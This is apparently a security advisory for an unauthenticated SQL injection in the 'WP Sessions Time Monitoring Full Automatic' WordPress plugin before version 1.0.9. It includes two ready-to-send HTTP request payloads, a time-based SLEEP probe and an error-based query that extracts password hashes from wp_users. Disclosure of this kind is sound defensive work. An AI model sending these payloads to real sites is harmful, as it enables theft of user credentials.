WP Sessions Time Monitoring Full Automatic < 1.0.9 - Unauthenticated SQL injection

2023-11-3000:00:00

Nicolas Surribas

wordpress

sql injection

error/union based

8.2 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

51.7%

JSON

Description The plugin does not sanitize the request URL or query parameters before using them in an SQL query, allowing unauthenticated attackers to extract sensitive data from the database via blind time based SQL injection techniques, or in some cases an error/union based technique.

Blind time based SQLi:
GET /?test=1'%20AND%20(SELECT%208559%20FROM%20(SELECT(SLEEP(5)))WBVZ)%20-- HTTP/1.1

Error/union based SQLi (Requires MySQL and WP_DEBUG enabled):
GET /?test=1%27%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28user_pass%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C190%29%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C3124%29--%20a